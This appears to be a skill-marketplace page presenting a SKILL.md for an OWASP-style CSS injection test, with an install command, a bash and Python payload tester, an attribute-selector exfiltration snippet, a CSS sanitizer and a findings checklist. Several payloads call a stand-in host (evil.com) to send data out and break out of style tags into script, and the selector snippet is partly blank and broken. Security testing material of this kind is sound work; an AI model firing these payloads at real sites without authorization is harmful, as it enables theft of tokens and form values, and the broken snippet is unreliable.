Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-clnt-05명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-clnt-05 |
| description | Testing for CSS Injection |
| category | client-side |
| owasp_id | WSTG-CLNT-05 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["client-side","javascript","dom","cors","wstg","clnt"] |
| tech_stack | [] |
| cwe_ids | ["CWE-94"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-CLNT-05
Testing for CSS Injection
CSS injection allows attackers to inject malicious CSS into web pages. While typically less severe than XSS, it can be used for data exfiltration (via attribute selectors), UI redressing, content spoofing, and in some cases, JavaScript execution in older browsers.
#!/bin/bash
TARGET="https://target.com"
payloads=(
"color:red"
"background:url(https://evil.com/log?data=stolen)"
"position:fixed;top:0;left:0;width:100%;height:100%;background:red"
"}</style><script>alert(1)</script><style>"
)
for payload in "${payloads[@]}"; do
response=$(curl -s "$TARGET/profile?style=$payload")
echo "Testing: $payload"
done
/* CSS attribute selector exfiltration */
/* Can extract CSRF tokens, input values */
input[name="csrf"][value^="a"] {
background: url();
}
{
: ();
}
#!/usr/bin/env python3
import requests
class CSSInjectionTester:
def __init__(self, base_url):
self.base_url = base_url
self.findings = []
def test_style_injection(self, endpoint, param):
"""Test for CSS injection"""
print(f"[*] Testing CSS injection: {endpoint}")
payloads = [
("color:red", "color:red"),
("background:url(//evil.com)", "background:url"),
("</style><script>alert(1)</script>", "<script>"),
]
for payload, check in payloads:
url = f"{self.base_url}{endpoint}"
response = requests.get(url, params={param: payload})
if check in response.text:
print(f"[VULN] CSS injection: {payload[:30]}")
self.findings.append({
"endpoint": endpoint,
"payload": payload,
"severity": "Medium"
})
# Usage
tester = CSSInjectionTester("https://target.com")
tester.test_style_injection("/profile", "theme")
# Sanitize CSS input - only allow safe properties
import re
ALLOWED_CSS = {
'color': r'^#[0-9a-fA-F]{3,6}$|^(red|blue|green|black|white)$',
'font-size': r'^\d+(px|em|rem)$',
'background-color': r'^#[0-9a-fA-F]{3,6}$',
}
def sanitize_css(property_name, value):
if property_name in ALLOWED_CSS:
if re.match(ALLOWED_CSS[property_name], value):
return f"{property_name}: {value}"
return ""
| Finding | CVSS | Severity |
|---|---|---|
| CSS data exfiltration | 4.3 | Medium |
| UI redressing via CSS | 3.5 | Low |
| CWE ID | Title |
|---|---|
| CWE-74 | Improper Neutralization of Special Elements in Output |
[ ] Style attributes tested
[ ] CSS properties analyzed
[ ] Data exfiltration tested
[ ] XSS via CSS tested
[ ] Findings documented